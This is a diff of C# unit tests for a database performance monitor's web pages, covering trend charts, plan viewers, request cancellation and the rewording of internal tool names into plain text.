+        var r = Run("changedParameter");
+        Assert.Equal(5, r.GetProperty("readsByClear").GetInt32());
+        Assert.Equal(5, r.GetProperty("abortedByClear").GetInt32());
+        Assert.Equal(5 + 2, r.GetProperty("sent").GetInt32());
+        Assert.Equal(5, r.GetProperty("aborted").GetInt32());
+        Assert.Equal(2, r.GetProperty("stillInFlight").GetInt32());
+        Assert.Equal(5, r.GetProperty("maxInFlight").GetInt32());
+        Assert.Equal(new[] { "C13", "C14" }, Strings(r.GetProperty("chart").GetProperty("labels")));
+    }
+
+    [Fact]
+    public void TheSoleWaiterUnchecking_CancelsTheUnderlyingFetch()
+    {
+        var r = Run("soleWaiterUnchecks");
+        Assert.Equal(1, r.GetProperty("sentAfterCheck").GetInt32());
+        Assert.Equal(1, r.GetProperty("inFlightAfterCheck").GetInt32());
+        Assert.Equal(1, r.GetProperty("aborted").GetInt32());
+        Assert.Equal(0, r.GetProperty("inFlightAfterUncheck").GetInt32());
+        Assert.Equal(1, r.GetProperty("sent").GetInt32());
+    }
+
+    [Fact]
+    public void ASharedRead_IsCancelledOnlyWhenItsLastCallerAborts_AndALaterCallerSendsAFreshOne()
+    {
+        var r = Run("joinedAbort");
+        Assert.Equal(1, r.GetProperty("sentForTwo").GetInt32());
+        Assert.Equal(1, r.GetProperty("inFlightForTwo").GetInt32());
+        Assert.Equal("aborted", r.GetProperty("firstKind").GetString());
+        Assert.Equal(0, r.GetProperty("abortedAfterFirst").GetInt32());
+        Assert.Equal(1, r.GetProperty("inFlightAfterFirst").GetInt32());
+        Assert.Equal("aborted", r.GetProperty("secondKind").GetString());
+        Assert.Equal(1, r.GetProperty("abortedAfterSole").GetInt32());
+        Assert.Equal(0, r.GetProperty("inFlightAfterSole").GetInt32());
+        Assert.Equal(2, r.GetProperty("sentAfterLater").GetInt32());
+        Assert.Equal("data", r.GetProperty("laterKind").GetString());
+    }
+
+    [Fact]
+    public void TheSearchBox_KeepsItsFocusAndCaret_AcrossTheRebuild_AndStealsNoFocus()
+    {
+        var r = Run("focusKept");
+        Assert.False(r.GetProperty("sameNode").GetBoolean());
+        Assert.True(r.GetProperty("focused").GetBoolean());
+        Assert.Equal(1, r.GetProperty("start").GetInt32());
+        Assert.Equal(2, r.GetProperty("end").GetInt32());
+        Assert.Equal("Batch", r.GetProperty("value").GetString());
+        Assert.False(Run("noFocusStolen").GetProperty("focused").GetBoolean());
+    }
+
+    [Fact]
+    public void TheChart_ReadsAtMostTenCounters_WhateverItIsHanded()
+    {
+        Assert.Equal(10, Run("capInDraw").GetProperty("reads").GetInt32());
+    }
+
+    [Fact]
+    public void RatesShareAPerSecondAxis_ButAChartThatMixesInAGauge_DropsTheUnit()
+    {
+        Assert.Equal("/s", Run("defaults").GetProperty("chart").GetProperty("unit").GetString());
+        Assert.Equal(JsonValueKind.Null, Run("mixedKinds").GetProperty("chart").GetProperty("unit").ValueKind);
+    }
+
+    [Fact]
+    public void ThePerfmonPanel_ReadsGetPerfmonTrend_OncePerCounter_AndKeepsTheDiscontinuityNotice()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        Assert.Contains("readToolWithinKeptHistory(\"get_perfmon_trend\", { server, counter_name: counter, hours: ctx.hours }, mine.signal)", tabs);
+        Assert.Contains("const MAX_COUNTERS_CHARTED = 10;", tabs);
+        Assert.Contains("export async function drawPerfmonTrends(", tabs);
+        Assert.Contains("discontinuityNotes(trend.data)", tabs);
+    }
+}
diff --git a/Darling/Darling.Tests/WebPerfmonPerSecondBehaviourTests.cs b/Darling/Darling.Tests/WebPerfmonPerSecondBehaviourTests.cs
index cf85897650..27411c4436 100644
--- a/Darling/Darling.Tests/WebPerfmonPerSecondBehaviourTests.cs
+++ b/Darling/Darling.Tests/WebPerfmonPerSecondBehaviourTests.cs
@@ -41,6 +41,7 @@ private static bool TryRun(string scenario, out JsonElement result)
         }
         catch (Win32Exception)
         {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
             return false;
         }
 
@@ -137,15 +138,15 @@ public void TheTrendChart_DrawsARateCounterPerSecond()
     {
         if (!TryRun("mixed", out var r)) return;
 
+        /* The snapshot's default counters (Batch Requests/sec, SQL Compilations/sec) are both rates: one line each,
+           named for its counter, on a per-second axis. */
         var chart = Assert.Single(r.GetProperty("charts").EnumerateArray());
-        var line = Assert.Single(chart.GetProperty("series").EnumerateArray());
-        Assert.Equal("per_second", line.GetProperty("key").GetString());
-        Assert.Equal("Per second", line.GetProperty("label").GetString());
+        Assert.Equal(new[] { "Batch Requests/sec", "SQL Compilations/sec" }, chart.GetProperty("series").EnumerateArray().Select(s => s.GetProperty("label").GetString()!).ToArray());
         Assert.Equal("/s", chart.GetProperty("unit").GetString());
 
         /* The first point's rate was not knowable, so it reads as no number; the second is 66 over 300 s. */
-        Assert.Equal(new[] { new[] { "Per second", "—" } }, Tooltip(chart, "left"));
-        Assert.Equal(new[] { new[] { "Per second", "0.22" } }, Tooltip(chart, "right"));
+        Assert.Equal(new[] { new[] { "Batch Requests/sec", "—" }, new[] { "SQL Compilations/sec", "—" } }, Tooltip(chart, "left"));
+        Assert.Equal(new[] { new[] { "Batch Requests/sec", "0.22" }, new[] { "SQL Compilations/sec", "0.22" } }, Tooltip(chart, "right"));
     }
 
     /// <summary>One deadlock in a 300 s collection is 0.0033 a second. Printed to two decimals it was 0, on every
@@ -157,8 +158,8 @@ public void TheTrendChart_ForARateThatSeldomFires_NeverReadsItsRateAsZero()
 
         var chart = Assert.Single(r.GetProperty("charts").EnumerateArray());
         Assert.Equal(new[] { "0", "0.001", "0.002", "0.003", "0.004" }, Strings(chart.GetProperty("axis")));
-        Assert.Equal(new[] { new[] { "Per second", "0.0033" } }, Tooltip(chart, "right"));
-        Assert.Equal(new[] { new[] { "Per second", "0" } }, Tooltip(chart, "left"));
+        Assert.Equal(new[] { new[] { "Number of Deadlocks/sec", "0.0033" } }, Tooltip(chart, "right"));
+        Assert.Equal(new[] { new[] { "Number of Deadlocks/sec", "0" } }, Tooltip(chart, "left"));
     }
 
     /// <summary>A bucket a day wide holds 86,400 s, so one deadlock in it is 0.000012 a second: smaller than any
@@ -170,7 +171,7 @@ public void TheTrendChart_ForALongRangeBucket_NeverReadsItsRateAsZero()
 
         var chart = Assert.Single(r.GetProperty("charts").EnumerateArray());
         Assert.Equal(new[] { "0", "0.000005", "0.00001", "0.000015" }, Strings(chart.GetProperty("axis")));
-        Assert.Equal(new[] { new[] { "Per second", "0.000012" } }, Tooltip(chart, "right"));
+        Assert.Equal(new[] { new[] { "Number of Deadlocks/sec", "0.000012" } }, Tooltip(chart, "right"));
     }
 
     /// <summary>The same two rules in the trend chart's tooltip: the older point's 1234.5678 reads 1,234.57, and the
@@ -181,23 +182,22 @@ public void TheTrendChart_PrintsARateBelowOneToTwoSignificantDigits_AndARateOfOn
         if (!TryRun("digits", out var r)) return;
 
         var chart = Assert.Single(r.GetProperty("charts").EnumerateArray());
-        Assert.Equal(new[] { new[] { "Per second", "1,234.57" } }, Tooltip(chart, "left"));
-        Assert.Equal(new[] { new[] { "Per second", "0.23" } }, Tooltip(chart, "right"));
+        Assert.Equal(new[] { new[] { "Page Splits/sec", "1,234.57" } }, Tooltip(chart, "left"));
+        Assert.Equal(new[] { new[] { "Page Splits/sec", "0.23" } }, Tooltip(chart, "right"));
     }
 
-    /// <summary>A gauge's chart is what it was: its reading, and the delta line its points leave empty.</summary>
+    /// <summary>A gauge's chart draws its reading as one line named for the counter.</summary>
     [Fact]
     public void TheTrendChart_ForAGauge_IsUnchanged()
     {
         if (!TryRun("gauge", out var r)) return;
 
         var chart = Assert.Single(r.GetProperty("charts").EnumerateArray());
-        Assert.Equal(new[] { "value", "delta_value" }, chart.GetProperty("series").EnumerateArray().Select(s => s.GetProperty("key").GetString()!).ToArray());
-        Assert.Equal(new[] { "Value", "Delta" }, chart.GetProperty("series").EnumerateArray().Select(s => s.GetProperty("label").GetString()!).ToArray());
+        Assert.Equal(new[] { "Total Server Memory (KB)" }, chart.GetProperty("series").EnumerateArray().Select(s => s.GetProperty("label").GetString()!).ToArray());
         Assert.Equal(JsonValueKind.Null, chart.GetProperty("unit").ValueKind);
 
         /* ...and it prints as it did: grouped whole numbers, with no digits added for it. */
         Assert.Equal(new[] { "0", "2,000,000", "4,000,000", "6,000,000", "8,000,000" }, Strings(chart.GetProperty("axis")));
-        Assert.Equal(new[] { new[] { "Value", "8,000,000" }, new[] { "Delta", "—" } }, Tooltip(chart, "right"));
+        Assert.Equal(new[] { new[] { "Total Server Memory (KB)", "8,000,000" } }, Tooltip(chart, "right"));
     }
 }
diff --git a/Darling/Darling.Tests/WebPgPlanViewerPageTests.cs b/Darling/Darling.Tests/WebPgPlanViewerPageTests.cs
new file mode 100644
index 0000000000..d4e73154e6
--- /dev/null
+++ b/Darling/Darling.Tests/WebPgPlanViewerPageTests.cs
@@ -0,0 +1,94 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source and payload pins for the web PostgreSQL plan viewer (#5229). The page reads the row's own
+/// <c>plan</c> from <c>get_pg_plans</c>; <see cref="PgPlanViewerBehaviourTests"/> runs the module.
+/// </summary>
+public sealed class WebPgPlanViewerPageTests
+{
+    private static string Js(params string[] rel) =>
+        ReadRepoFile(new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js" }.Concat(rel).ToArray()).ReplaceLineEndings("\n");
+
+    private static List<DarlingPgPlanCaptureReader.PgPlanCaptureRow> Rows(string planJson) => new()
+    {
+        new DarlingPgPlanCaptureReader.PgPlanCaptureRow(
+            QueryId: -8126435036642491494,
+            PlanHash: "ABC123",
+            TopNodeType: "Seq Scan",
+            NodeCount: 3,
+            Captures: 4,
+            TotalDurationMs: 120.5,
+            MaxDurationMs: 42.25,
+            AvgDurationMs: 30.125,
+            PlanJson: planJson,
+            LastSeen: new DateTime(2026, 8, 25, 12, 0, 0, DateTimeKind.Utc)),
+    };
+
+    /// <summary>Strips line and block comments so prose that names a sink does not trip the scan.</summary>
+    private static string StripJsComments(string source)
+    {
+        var noBlock = System.Text.RegularExpressions.Regex.Replace(source, @"/\*.*?\*/", string.Empty, System.Text.RegularExpressions.RegexOptions.Singleline);
+        return System.Text.RegularExpressions.Regex.Replace(noBlock, @"//[^\n]*", string.Empty);
+    }
+
+    [Fact]
+    public void TheViewer_DrawsOnlyText_AndMakesNoRead()
+    {
+        var viewer = StripJsComments(Js("pages", "pg-plan-viewer.js"));
+        foreach (var sink in new[] { "innerHTML", "outerHTML", "insertAdjacentHTML", "createContextualFragment", "document.write", "DOMParser", "readTool", "fetch(" })
+            Assert.DoesNotContain(sink, viewer, StringComparison.Ordinal);
+        Assert.Contains("class: \"code plan-json\"", viewer, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheCapturedPlansGrid_CarriesThePlanColumn_OnceWithItsImport()
+    {
+        var tabs = Js("pages", "server-tabs.js");
+        const string column = "[...PG_PLAN_COLUMNS, pgPlanColumn(server)]";
+        Assert.Equal(1, tabs.Split(column).Length - 1);
+        Assert.Contains("import { pgPlanColumn } from \"./pg-plan-viewer.js\";", tabs, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void GetPgPlans_EmitsTheThreeKeysThePageReads()
+    {
+        using var doc = JsonDocument.Parse(DarlingMcpPgPlanTools.BuildPlansJson("srv", 24, Rows("""{"Plan":{"Node Type":"Seq Scan"}}"""), 10));
+        var row = doc.RootElement.GetProperty("plans")[0];
+        Assert.Equal(JsonValueKind.Object, row.GetProperty("plan").ValueKind);
+        Assert.Equal(JsonValueKind.String, row.GetProperty("queryid").ValueKind);
+        Assert.True(row.TryGetProperty("plan_hash", out _));
+    }
+
+    [Fact]
+    public void APlanThatDoesNotParse_ReachesThePageAsAString()
+    {
+        using var doc = JsonDocument.Parse(DarlingMcpPgPlanTools.BuildPlansJson("srv", 24, Rows("{\"Plan\": {\"Node Ty"), 10));
+        Assert.Equal(JsonValueKind.String, doc.RootElement.GetProperty("plans")[0].GetProperty("plan").ValueKind);
+    }
+
+    [Fact]
+    public void ThePlanJson_ComesFromGetPgPlans_NotARead_OfItsOwn()
+    {
+        Assert.True(DarlingWebEndpoints.CatalogDescriptors.ContainsKey("get_pg_plans"));
+        Assert.DoesNotContain("get_pg_plan_json", DarlingWebEndpoints.CatalogDescriptors.Keys);
+        Assert.DoesNotContain("get_pg_plan_detail", DarlingWebEndpoints.CatalogDescriptors.Keys);
+    }
+}
diff --git a/Darling/Darling.Tests/WebPgStatementEvictionTilePageTests.cs b/Darling/Darling.Tests/WebPgStatementEvictionTilePageTests.cs
new file mode 100644
index 0000000000..5fc33fc82e
--- /dev/null
+++ b/Darling/Darling.Tests/WebPgStatementEvictionTilePageTests.cs
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the web PostgreSQL Activity tab's statement-eviction tile: it reads the same <c>get_pg_top_queries</c>
+/// answer as the Top Query Shapes grid (one fetch), and every field it shows is one the tool emits under <c>evictions</c>.
+/// </summary>
+public sealed class WebPgStatementEvictionTilePageTests
+{
+    private static string Tabs => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+
+    private static string Tool => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpPgStatementTools.cs").ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheTile_ShowsOnlyFieldsTheToolEmitsUnderEvictions()
+    {
+        var stats = Regex.Match(Tabs, @"const PG_EVICTION_STATS = \[(.*?)\];", RegexOptions.Singleline);
+        Assert.True(stats.Success, "PG_EVICTION_STATS is missing");
+        var keys = Regex.Matches(stats.Groups[1].Value, "key: \"evictions\\.([a-z_]+)\"");
+        Assert.Equal(2, keys.Count);
+
+        var build = Tool.Substring(Tool.IndexOf("internal static object BuildEvictions", StringComparison.Ordinal));
+        foreach (Match key in keys)
+        {
+            Assert.Contains(key.Groups[1].Value + " = ", build, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("evictions = BuildEvictions(", Tool, StringComparison.Ordinal);
+        Assert.Contains("eviction_passes_in_window", stats.Groups[1].Value, StringComparison.Ordinal);
+        Assert.Contains("max_entries", stats.Groups[1].Value, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTile_AndTheGrid_ShareOneRead_AndTheGridKeepsItsCaveatNote()
+    {
+        var region = Tabs.Substring(Tabs.IndexOf("...fanout(\"get_pg_top_queries\"", StringComparison.Ordinal));
+        region = region.Substring(0, region.IndexOf("]),", StringComparison.Ordinal));
+        Assert.Contains("stats: PG_EVICTION_STATS", region, StringComparison.Ordinal);
+        Assert.Contains("columns: PG_TOP_QUERY_COLUMNS", region, StringComparison.Ordinal);
+        Assert.Contains("noteKey: \"evictions.note\"", region, StringComparison.Ordinal);
+        Assert.Contains("limit: 20", region, StringComparison.Ordinal);
+        Assert.DoesNotContain("\"get_pg_top_queries\",\n        { server", Tabs, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebPlainTextTests.cs b/Darling/Darling.Tests/WebPlainTextTests.cs
new file mode 100644
index 0000000000..f87c80755f
--- /dev/null
+++ b/Darling/Darling.Tests/WebPlainTextTests.cs
@@ -0,0 +1,281 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Web click-through fixes (text): the shipped <c>plain-text.js</c> run under Node, which puts the internal names the
+/// service writes for an MCP client (<c>hints.captures</c>, <c>hours_back</c>, <c>denied_since_last_success</c>, collector
+/// measurement counts, the engine-gate sentence) into words for the web page. Node is skipped when it is not installed.
+/// </summary>
+public sealed class WebPlainTextTests
+{
+    private static string[] Run(string[] inputs, out string notCollectedLine) => RunDoc(inputs, out notCollectedLine).Out;
+
+    private static (string[] Out, string[] Named, string[] Tools, string[] Labels) RunDoc(string[] inputs, out string notCollectedLine)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-plain-text-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.Environment["HARNESS_INPUT"] = JsonSerializer.Serialize(inputs);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            notCollectedLine = "";
+            return ([], [], [], []);
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the plain text harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the plain text harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            notCollectedLine = doc.RootElement.GetProperty("line").GetString()!;
+            string[] Strs(string name) => doc.RootElement.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+            return (Strs("out"), Strs("named"), Strs("tools"), Strs("labels"));
+        }
+    }
+
+    [Fact]
+    public void TheHintsPointer_AndHoursBack_AreDroppedOrSaidInWords()
+    {
+        var o = Run(
+        [
+            "No blocking was recorded in the last 24 hour(s). 5 collector run(s) DID execute, so this is a genuine all-clear - see hints.captures for which collectors ran and when.",
+            "This is a gap rather than a dead collector: widen hours_back, or use get_collection_health to find where it stopped.",
+        ], out _);
+        Assert.DoesNotContain("hints.captures", o[0]);
+        Assert.EndsWith("genuine all-clear.", o[0]);
+        Assert.DoesNotContain("hours_back", o[1]);
+        Assert.Contains("widen the time range, or use Collection Health to find", o[1]);
+    }
+
+    [Fact]
+    public void TheHealthOutputSentence_NamesNoField()
+    {
+        var o = Run(
+        [
+            "Stored 0 rows across 96 runs with no current denial (denied_since_last_success is false), so this collector read and found nothing.",
+            "Stored 0 rows across 96 runs, and denied_since_last_success is true - the newest denial postdates the newest success, so this collector is refused.",
+        ], out _);
+        Assert.Equal("Stored 0 rows across 96 runs with no current denial, so this collector read and found nothing.", o[0]);
+        Assert.DoesNotContain("denied_since_last_success", o[1]);
+        Assert.Contains("the newest denial is newer than the newest success", o[1]);
+    }
+
+    [Fact]
+    public void CollectorMeasurementCounts_ReadAsWords()
+    {
+        var o = Run(["latest run: shred_gated=1 events_read=0 report_xml_empty=0"], out _);
+        Assert.Equal("latest run: shred gated: 1, events read: 0, report xml empty: 0", o[0]);
+    }
+
+    [Fact]
+    public void UserDataAndRealErrors_ReachThePageAsWritten()
+    {
+        /* Round-1 M4: only known internal tokens are rewritten. */
+        string[] same =
+        [
+            "Could not find stored procedure 'dbo.get_orders'",
+            "Server 'get_prod' not found",
+            "timeout=30",
+            "A driver said: timeout=30 while connecting",
+            "sales_2024",
+            "pg_stat_statements_1 was reset",
+            "Could not find get_orders_by_day",
+        ];
+        var o = Run(same, out _);
+        Assert.Equal(same, o);
+    }
+
+    [Fact]
+    public void TheClickThroughCases_StillReadInWords()
+    {
+        var o = Run(
+        [
+            "use get_collection_health to find where it stopped",
+            "latest run: shred_gated=1 events_read=0 report_xml_empty=0",
+            "latest run: events_read=4",
+            "latest noted run: shred_gated_1 events_read_0 (3 of 5 runs)",
+            "pg_wraparound_stats failed; last_error has the text",
+        ], out _);
+        Assert.Equal("use Collection Health to find where it stopped", o[0]);
+        Assert.Equal("latest run: shred gated: 1, events read: 0, report xml empty: 0", o[1]);
+        Assert.Equal("latest run: events read: 4", o[2]);
+        Assert.Equal("latest noted run: shred gated: 1, events read: 0 (3 of 5 runs)", o[3]);
+        Assert.Equal("the freeze-headroom collector failed; Last Error has the text", o[4]);
+    }
+
+    [Fact]
+    public void TheNamedRules_TouchOnlyTheNamedTokens()
+    {
+        string[] inputs =
+        [
+            "Could not find 'dbo.get_orders' (timeout=30); widen hours_back or use get_collection_health",
+            "latest run: events_read=4 shred_gated=1 and last_error shows it",
+            "relation \"pg_wraparound_stats\" does not exist",
+            "column \"last_error\" of relation \"x\" does not exist",
+            "denied_since_last_success is true; move as_of or widen days_back",
+        ];
+        var (_, named, _, _) = RunDoc(inputs, out _);
+        Assert.Equal("Could not find 'dbo.get_orders' (timeout=30); widen the time range or use get_collection_health", named[0]);
+        /* Round-2 L1: a Last Error can quote a real relation or column, so field and table names are not rewritten here. */
+        Assert.Equal("latest run: events_read=4 shred_gated=1 and last_error shows it", named[1]);
+        Assert.Equal("relation \"pg_wraparound_stats\" does not exist", named[2]);
+        Assert.Equal("column \"last_error\" of relation \"x\" does not exist", named[3]);
+        Assert.Equal("a denial is newer than the last success; move the end date or widen the date range", named[4]);
+    }
+
+    [Fact]
+    public void TheToolNameList_IsExactlyTheRegisteredGetTools()
+    {
+        /* The get_ rule rewrites only these names, so the list must be the MCP tool registry's get_ tools, both ways. */
+        var (_, _, tools, _) = RunDoc([], out _);
+        if (tools.Length == 0)
+        {
+            return;
+        }
+
+        var registry = typeof(PerformanceMonitor.Darling.Service.Mcp.DarlingMcpAlertTools).Assembly.GetTypes()
+            .Where(t => t.GetCustomAttribute<ModelContextProtocol.Server.McpServerToolTypeAttribute>() is not null)
+            .SelectMany(t => t.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance))
+            .Select(m => m.GetCustomAttribute<ModelContextProtocol.Server.McpServerToolAttribute>()?.Name)
+            .Where(n => n is not null && n.StartsWith("get_", StringComparison.Ordinal))
+            .Select(n => n!)
+            .ToHashSet(StringComparer.Ordinal);
+
+        Assert.True(registry.Count > 100, $"the registry walk found only {registry.Count} get_ tools");
+        Assert.Empty(registry.Except(tools).OrderBy(n => n, StringComparer.Ordinal));
+        Assert.Empty(tools.Except(registry).OrderBy(n => n, StringComparer.Ordinal));
+        Assert.Equal(tools.Length, tools.Distinct(StringComparer.Ordinal).Count());
+    }
+
+    [Fact]
+    public void TheMeasurementLabelList_CoversEveryLabelTheCollectorsWrite()
+    {
+        var (_, _, tools, labels) = RunDoc([], out _);
+        if (tools.Length == 0)
+        {
+            return;
+        }
+
+        var found = new System.Collections.Generic.SortedSet<string>(StringComparer.Ordinal);
+        var dir = PathTo("PerformanceMonitor.Collectors");
+        foreach (var file in System.IO.Directory.EnumerateFiles(dir, "*.cs", System.IO.SearchOption.TopDirectoryOnly))
+        {
+            var text = System.IO.File.ReadAllText(file);
+            foreach (System.Text.RegularExpressions.Match m in System.Text.RegularExpressions.Regex.Matches(
+                         text, "const string \\w*Measurement\\w*\\s*=\\s*\"([a-z0-9_]+)\"|\\.Measure\\(\"([a-z0-9_]+)\""))
+            {
+                found.Add(m.Groups[1].Success ? m.Groups[1].Value : m.Groups[2].Value);
+            }
+        }
+
+        Assert.True(found.Count > 20, $"the label scan found only {found.Count} labels");
+        Assert.Empty(found.Except(labels).ToList());
+        Assert.Empty(labels.Except(found).ToList());
+    }
+
+    [Fact]
+    public void TheEngineGateSentence_BecomesOneShortLine_AndOtherTextIsKept()
+    {
+        var o = Run(
+        [
+            "example-pg-01 runs PostgreSQL. The pg_cpu_utilization collector does not run on that engine — its own AppliesTo gate excludes it — so this server does not collect the data, and never will. This is a permanent engine capability gap, not a collection outage.",
+            "No stored plan for this query. pg_stat_statements has none.",
+        ], out var line);
+        Assert.Equal(line, o[0]);
+        Assert.DoesNotContain("AppliesTo", o[0]);
+        Assert.Equal("No stored plan for this query. pg_stat_statements has none.", o[1]);
+    }
+}
+
+/// <summary>Collection Health on a server without Always On lists the two AG collectors as not applicable.</summary>
+public sealed class CollectionHealthAlwaysOnRowsTests
+{
+    [Theory]
+    [InlineData("ag_replica_states", true)]
+    [InlineData("ag_database_replica_states", true)]
+    [InlineData("wait_stats", false)]
+    public void OnlyTheTwoAlwaysOnCollectors_AreAlwaysOnCollectors(string name, bool expected) =>
+        Assert.Equal(expected, PerformanceMonitor.Darling.Service.Mcp.DarlingGatedCollectorRows.IsAlwaysOnCollector(name));
+
+    [Fact]
+    public void ANotApplicableRow_SaysWhy_WithoutAGateName()
+    {
+        Assert.Contains("not enabled on this server", PerformanceMonitor.Darling.Service.Mcp.DarlingGatedCollectorRows.AlwaysOnOffMessage);
+        Assert.DoesNotContain("needs a look", PerformanceMonitor.Darling.Service.Mcp.DarlingGatedCollectorRows.AlwaysOnOffMessage);
+        Assert.Empty(PerformanceMonitor.Darling.Service.Mcp.DarlingGatedCollectorRows.AlwaysOnOffRows([]));
+    }
+
+    private static PerformanceMonitor.Darling.Service.Mcp.CollectorHealth AgRow(string name, bool failing)
+    {
+        var last = DateTime.UtcNow.AddMinutes(-1);
+        return new PerformanceMonitor.Darling.Service.Mcp.CollectorHealth
+        {
+            CollectorName = name,
+            TotalRuns = 10,
+            SuccessCount = failing ? 0 : 10,
+            ErrorCount = failing ? 10 : 0,
+            LastSuccessTime = failing ? null : last,
+            LastRunTime = last,
+            LastError = failing ? "Msg 1234: the AG DMV read failed" : null,
+        };
+    }
+
+    [Fact]
+    public void AHealthyAgCollector_IsReplacedByTheNotApplicableRow()
+    {
+        var healthy = AgRow("ag_replica_states", failing: false);
+        var rows = new[] { healthy, AgRow("wait_stats", failing: false) };
+
+        Assert.Equal("HEALTHY", healthy.HealthStatus);
+        Assert.Equal(new[] { "wait_stats" }, PerformanceMonitor.Darling.Service.Mcp.DarlingGatedCollectorRows.RowsShownWhenAlwaysOnOff(rows).Select(r => r.CollectorName));
+        Assert.Single(PerformanceMonitor.Darling.Service.Mcp.DarlingGatedCollectorRows.AlwaysOnOffRows(rows));
+    }
+
+    [Fact]
+    public void AFailingAgCollector_KeepsItsLogRowAndItsLastError()
+    {
+        /* Round-1 L5: a HADR-off server whose AG collector is actually failing used to lose the row, and with it the
+           Last Error, behind the not-applicable sentence. */
+        var failing = AgRow("ag_database_replica_states", failing: true);
+        var rows = new[] { failing, AgRow("ag_replica_states", failing: false) };
+
+        Assert.NotEqual("HEALTHY", failing.HealthStatus);
+        var shown = PerformanceMonitor.Darling.Service.Mcp.DarlingGatedCollectorRows.RowsShownWhenAlwaysOnOff(rows);
+        Assert.Equal(new[] { "ag_database_replica_states" }, shown.Select(r => r.CollectorName));
+        Assert.Equal("Msg 1234: the AG DMV read failed", shown[0].LastError);
+        var notApplicable = PerformanceMonitor.Darling.Service.Mcp.DarlingGatedCollectorRows.AlwaysOnOffRows(rows);
+        Assert.Single(notApplicable);
+        Assert.Contains("ag_replica_states", System.Text.Json.JsonSerializer.Serialize(notApplicable));
+        Assert.DoesNotContain("ag_database_replica_states", System.Text.Json.JsonSerializer.Serialize(notApplicable));
+    }
+}
diff --git a/Darling/Darling.Tests/WebPlanViewerPageTests.cs b/Darling/Darling.Tests/WebPlanViewerPageTests.cs
new file mode 100644
index 0000000000..8722e46a23
--- /dev/null
+++ b/Darling/Darling.Tests/WebPlanViewerPageTests.cs
@@ -0,0 +1,210 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using Xunit;
+using PerformanceMonitor.Darling.Service;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the web stored-plan viewer (#4843): the one read it makes, the params it sends, and the three
+/// grids that carry its Plan column. <see cref="PlanViewerBehaviourTests"/> runs the module.
+/// </summary>
+public sealed class WebPlanViewerPageTests
+{
+    private static string Js(params string[] rel) =>
+        ReadRepoFile(new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js" }.Concat(rel).ToArray()).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheViewer_ReadsGetPlanXml_WithItsRequiredAndOptionalParams()
+    {
+        var viewer = Js("pages", "plan-viewer.js");
+        Assert.Contains("read: \"get_plan_xml\"", viewer, StringComparison.Ordinal);
+        Assert.Contains("readTool(spec.read, { server, ...spec.params(source) })", viewer, StringComparison.Ordinal);
+        Assert.Contains("params: (s) => ({ query_hash: s.query_hash, database_name: s.database_name || null })", viewer, StringComparison.Ordinal);
+
+        Assert.True(DarlingWebEndpoints.CatalogDescriptors.TryGetValue("get_plan_xml", out var d), "get_plan_xml is not on the read surface");
+        var names = d!.Params.Select(p => p.Name).ToHashSet(StringComparer.Ordinal);
+        Assert.Contains("query_hash", names);
+        Assert.Contains("server", names);
+        Assert.Contains("database_name", names);
